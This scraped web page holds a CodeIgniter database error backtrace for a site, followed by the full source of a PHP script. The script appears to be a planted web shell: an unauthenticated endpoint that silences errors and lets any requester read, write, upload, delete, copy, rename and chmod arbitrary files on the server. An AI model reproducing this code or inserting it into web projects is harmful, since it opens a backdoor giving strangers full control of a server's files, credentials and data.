Severity: Warning
Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address
Filename: mysqli/mysqli_driver.php
Line Number: 201
Backtrace:
File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct
File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct
File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once
无法使用提供的设置连接到数据库服务器。
Filename: core/MY_Controller.php
Line Number: 343
<?php
error_reporting(0);
ini_set('display_errors', 0);
header('Content-Type: application/json');
function returnResult($success, $message, $data = null) {
$result = [
'success' => $success,
'message' => $message
];
if ($data !== null) {
$result['data'] = $data;
}
echo json_encode($result);
exit;
}
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
switch ($action) {
case 'create_file':
$filename = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
$content = isset($_REQUEST['content']) ? $_REQUEST['content'] : '';
if (empty($filename)) {
returnResult(false, 'File path not specified');
}
if (file_put_contents($filename, $content) !== false) {
returnResult(true, "File successfully created: $filename");
} else {
returnResult(false, "Error creating file: $filename");
}
break;
case 'create_dir':
$dirname = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (empty($dirname)) {
returnResult(false, 'Directory path not specified');
}
if (mkdir($dirname, 0755, true)) {
returnResult(true, "Directory successfully created: $dirname");
} else {
returnResult(false, "Error creating directory: $dirname");
}
break;
case 'delete':
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (empty($path)) {
returnResult(false, 'File/directory path not specified');
}
if (is_file($path)) {
if (unlink($path)) {
returnResult(true, "File successfully deleted: $path");
} else {
returnResult(false, "Error deleting file: $path");
}
} elseif (is_dir($path)) {
function deleteDir($dirPath) {
if (!is_dir($dirPath)) {
return false;
}
if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') {
$dirPath .= '/';
}
$files = glob($dirPath . '*', GLOB_MARK);
foreach ($files as $file) {
if (is_dir($file)) {
deleteDir($file);
} else {
unlink($file);
}
}
return rmdir($dirPath);
}
if (deleteDir($path)) {
returnResult(true, "Directory successfully deleted: $path");
} else {
returnResult(false, "Error deleting directory: $path");
}
} else {
returnResult(false, "File or directory does not exist: $path");
}
break;
case 'read_file':
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (empty($path)) {
returnResult(false, 'File path not specified');
}
if (is_file($path)) {
$content = file_get_contents($path);
if ($content !== false) {
returnResult(true, "File successfully read", ['content' => $content]);
} else {
returnResult(false, "Error reading file: $path");
}
} else {
returnResult(false, "File does not exist or is a directory: $path");
}
break;
case 'upload_file':
$destination = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (empty($destination)) {
returnResult(false, 'Upload path not specified');
}
if (!isset($_FILES['file'])) {
returnResult(false, 'File was not sent');
}
if ($_FILES['file']['error'] != 0) {
returnResult(false, 'Error uploading file: ' . $_FILES['file']['error']);
}
$dir = dirname($destination);
if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
returnResult(false, "Failed to create directory: $dir");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $destination)) {
returnResult(true, "File successfully uploaded: $destination");
} else {
returnResult(false, "Error saving uploaded file: $destination");
}
break;
case 'list':
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : './';
if (!is_dir($path)) {
returnResult(false, "Directory does not exist: $path");
}
$items = scandir($path);
$files = [];
$dirs = [];
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$fullPath = rtrim($path, '/') . '/' . $item;
$info = [
'name' => $item,
'path' => $fullPath,
'modified' => date('Y-m-d H:i:s', filemtime($fullPath))
];
if (is_file($fullPath)) {
$info['type'] = 'file';
$info['size'] = filesize($fullPath);
$files[] = $info;
} else {
$info['type'] = 'dir';
$dirs[] = $info;
}
}
returnResult(true, "File list retrieved", ['dirs' => $dirs, 'files' => $files]);
break;
case 'copy':
$source = isset($_REQUEST['source']) ? $_REQUEST['source'] : '';
$destination = isset($_REQUEST['destination']) ? $_REQUEST['destination'] : '';
if (empty($source) || empty($destination)) {
returnResult(false, 'Source or destination not specified');
}
if (is_file($source)) {
$destDir = dirname($destination);
if (!is_dir($destDir) && !mkdir($destDir, 0755, true)) {
returnResult(false, "Failed to create destination directory: $destDir");
}
if (copy($source, $destination)) {
returnResult(true, "File successfully copied from $source to $destination");
} else {
returnResult(false, "Error copying file from $source to $destination");
}
} elseif (is_dir($source)) {
function copyDir($src, $dst) {
$dir = opendir($src);
if (!is_dir($dst)) {
mkdir($dst, 0755, true);
}
while (($file = readdir($dir)) !== false) {
if ($file != '.' && $file != '..') {
$srcFile = $src . '/' . $file;
$dstFile = $dst . '/' . $file;
if (is_dir($srcFile)) {
copyDir($srcFile, $dstFile);
} else {
copy($srcFile, $dstFile);
}
}
}
closedir($dir);
return true;
}
if (copyDir($source, $destination)) {
returnResult(true, "Directory successfully copied from $source to $destination");
} else {
returnResult(false, "Error copying directory from $source to $destination");
}
} else {
returnResult(false, "Source does not exist: $source");
}
break;
case 'rename':
$source = isset($_REQUEST['source']) ? $_REQUEST['source'] : '';
$destination = isset($_REQUEST['destination']) ? $_REQUEST['destination'] : '';
if (empty($source) || empty($destination)) {
returnResult(false, 'Source or destination not specified');
}
if (!file_exists($source)) {
returnResult(false, "Source does not exist: $source");
}
$destDir = dirname($destination);
if (!is_dir($destDir) && !mkdir($destDir, 0755, true)) {
returnResult(false, "Failed to create destination directory: $destDir");
}
if (rename($source, $destination)) {
returnResult(true, "Successfully moved/renamed from $source to $destination");
} else {
returnResult(false, "Error moving/renaming from $source to $destination");
}
break;
case 'chmod':
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
$mode = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : '';
if (empty($path)) {
returnResult(false, 'File/directory path not specified');
}
if (empty($mode) || !is_numeric($mode)) {
returnResult(false, 'Mode not specified or invalid');
}
$mode = octdec($mode);
if (chmod($path, $mode)) {
returnResult(true, "Permissions successfully changed for $path");
} else {
returnResult(false, "Error changing permissions for $path");
}
break;
case 'info':
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (empty($path)) {
returnResult(false, 'File/directory path not specified');
}
if (!file_exists($path)) {
returnResult(false, "File or directory does not exist: $path");
}
$info = [
'path' => $path,
'name' => basename($path),
'type' => is_file($path) ? 'file' : 'dir',
'size' => is_file($path) ? filesize($path) : null,
'modified' => date('Y-m-d H:i:s', filemtime($path)),
'permissions' => substr(sprintf('%o', fileperms($path)), -4)
];
returnResult(true, "Information retrieved", $info);
break;
default:
returnResult(false, 'Unknown command. Available commands: create_file, create_dir, delete, read_file, upload_file, list, copy, rename, chmod, info');
}
?>